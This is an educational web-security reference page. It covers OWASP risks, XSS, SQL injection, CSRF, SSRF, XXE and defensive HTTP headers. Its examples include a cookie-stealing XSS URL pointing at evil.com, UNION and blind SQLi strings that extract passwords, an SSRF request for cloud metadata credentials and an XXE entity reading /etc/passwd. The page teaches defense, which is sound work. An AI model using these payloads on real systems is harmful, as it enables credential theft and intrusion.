4 min read
On this page

Web Security

Web applications face a broad attack surface spanning client-side code, server-side logic, and the HTTP protocol itself. Understanding common vulnerability classes and their mitigations is essential for building secure systems.

OWASP Top 10

Web application attack surface

The Open Web Application Security Project maintains a ranked list of the most critical web application security risks:

  1. Broken Access Control — Users act outside intended permissions.
  2. Cryptographic Failures — Weak or missing encryption of sensitive data.
  3. Injection — Untrusted data sent to an interpreter (SQL, OS, LDAP).
  4. Insecure Design — Missing security controls at the architecture level.
  5. Security Misconfiguration — Default credentials, open cloud storage, verbose errors.
  6. Vulnerable Components — Using libraries with known vulnerabilities.
  7. Authentication Failures — Broken session management, credential stuffing.
  8. Software and Data Integrity Failures — Insecure CI/CD, unsigned updates.
  9. Logging and Monitoring Failures — Breaches go undetected.
  10. Server-Side Request Forgery (SSRF) — Server fetches attacker-controlled URLs.

Cross-Site Scripting (XSS)

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to execute scripts in victims' browsers.

Reflected XSS

The malicious script comes from the current HTTP request. The server reflects user input directly into the response.

// Vulnerable URL
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

// Server response includes unescaped input
<p>Results for: <script>document.location=...</script></p>

Stored XSS

The malicious script is permanently stored on the target server (database, message forum, comment field) and served to every user who views the affected page.

More dangerous than reflected XSS because it requires no crafted link — every visitor is a victim.

DOM-Based XSS

The vulnerability exists in client-side JavaScript rather than server-side code. The DOM is modified with attacker-controlled data.

// Vulnerable: reads fragment and writes to DOM
var pos = document.URL.indexOf("name=") + 5;
document.getElementById("greeting").innerHTML = document.URL.substring(pos);

Content Security Policy (CSP)

CSP is a defense-in-depth mechanism that mitigates XSS by declaring which content sources are trusted.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; frame-ancestors 'none'

Key directives: default-src, script-src, style-src, img-src, connect-src, frame-ancestors, report-uri.

Nonce-based CSP: Allow only scripts with a server-generated nonce. Blocks all inline scripts without the correct nonce.

Content-Security-Policy: script-src 'nonce-r4nd0m123'
<script nonce="r4nd0m123">/* allowed */</script>

SQL Injection

Occurs when untrusted input is concatenated into SQL queries, allowing attackers to modify query logic.

Union-Based SQLi

Appends a UNION SELECT to extract data from other tables:

-- Original query
SELECT name, price FROM products WHERE id = '1'

-- Injected input: 1' UNION SELECT username, password FROM users --
SELECT name, price FROM products WHERE id = '1' UNION SELECT username, password FROM users --'

Blind SQL Injection

No data is returned directly. The attacker infers information from application behavior.

Boolean-based: Observe different responses for true/false conditions.

-- Does the first character of the admin password = 'a'?
id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'

Time-based: Infer from response delays.

id=1; IF (1=1) WAITFOR DELAY '0:0:5' --   -- 5-second delay confirms injection

Prevention: Parameterized Queries

Always use parameterized queries (prepared statements). Never concatenate user input into SQL.

// SAFE: parameterized query
user ← QUERY("SELECT id, name, email FROM users WHERE id = $1",
              BIND(user_id))
         .FETCH_ONE(pool)

// DANGEROUS: string concatenation
// q ← "SELECT * FROM users WHERE id = '" + user_input + "'"

Cross-Site Request Forgery (CSRF)

An attacker tricks a victim's browser into making an authenticated request to a target site.

<!-- On attacker's site -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

Mitigations:

  • CSRF tokens: Unique, unpredictable token per session/request embedded in forms.
  • SameSite cookies: Set-Cookie: session=abc; SameSite=Strict prevents cross-origin sending.
  • Check Origin/Referer headers: Reject requests from unexpected origins.

Server-Side Request Forgery (SSRF)

The attacker induces the server to make HTTP requests to unintended destinations, typically internal services.

// Attacker submits URL to a "fetch preview" feature
POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

This can exfiltrate cloud metadata credentials (AWS, GCP, Azure).

Mitigations: URL allowlisting, block private IP ranges, disable HTTP redirects, use network-level segmentation.

XML External Entity (XXE)

Exploits XML parsers that process external entity definitions.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Prevention: Disable DTD processing and external entities in XML parsers. Use JSON where possible.

Insecure Deserialization

Untrusted data is deserialized into objects, potentially triggering arbitrary code execution through "gadget chains."

Java: ObjectInputStream.readObject() on untrusted data is a classic vector.

Mitigations: Never deserialize untrusted data. Use safe formats (JSON) with explicit schemas. Implement integrity checks (HMAC) on serialized objects.

// Safe deserialization targets explicit types
// No arbitrary code execution through type confusion
STRUCTURE UserRequest
    username: string
    role: string    // Validated after deserialization

PROCEDURE PARSE_REQUEST(data)
    req ← JSON_DESERIALIZE(data) AS UserRequest
    IF req IS error THEN RETURN error
    // Validate fields explicitly
    RETURN req

Clickjacking

An attacker embeds the target site in a transparent iframe, tricking users into clicking hidden elements.

Mitigations:

  • X-Frame-Options: DENY or SAMEORIGIN
  • CSP frame-ancestors 'none'
  • JavaScript frame-busting (less reliable)

Cross-Origin Resource Sharing (CORS)

CORS relaxes the Same-Origin Policy for controlled cross-origin requests.

// Server response headers
Access-Control-Allow-Origin: https://trusted.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

Dangers of misconfiguration:

  • Access-Control-Allow-Origin: * with credentials — browsers block this, but variations are still risky.
  • Reflecting the Origin header without validation effectively allows any origin.

HTTP Security Headers

HSTS (HTTP Strict Transport Security)

Forces browsers to use HTTPS for all future requests to the domain.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Prevents SSL stripping attacks. The preload directive allows inclusion in browsers' built-in HSTS lists.

Complete Security Header Set

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cache-Control: no-store

X-Content-Type-Options: nosniff — Prevents browsers from MIME-sniffing responses away from the declared Content-Type. Blocks attacks where an attacker uploads a file disguised as a benign type.

Referrer-Policy — Controls how much referrer information is sent with requests. strict-origin-when-cross-origin sends the origin (not full URL) for cross-origin requests.

Permissions-Policy — Controls which browser features (camera, mic, geolocation) the page can use. Replaces the older Feature-Policy header.

Defense in Depth Summary

| Layer | Controls | |-------|----------| | Input | Validation, parameterized queries, allowlists | | Output | Encoding, CSP, security headers | | Transport | HTTPS, HSTS, certificate pinning | | Session | CSRF tokens, SameSite cookies, secure/HttpOnly flags | | Architecture | SSRF protection, network segmentation, least privilege |

No single control is sufficient. Effective web security requires layering multiple defenses at every tier of the application stack.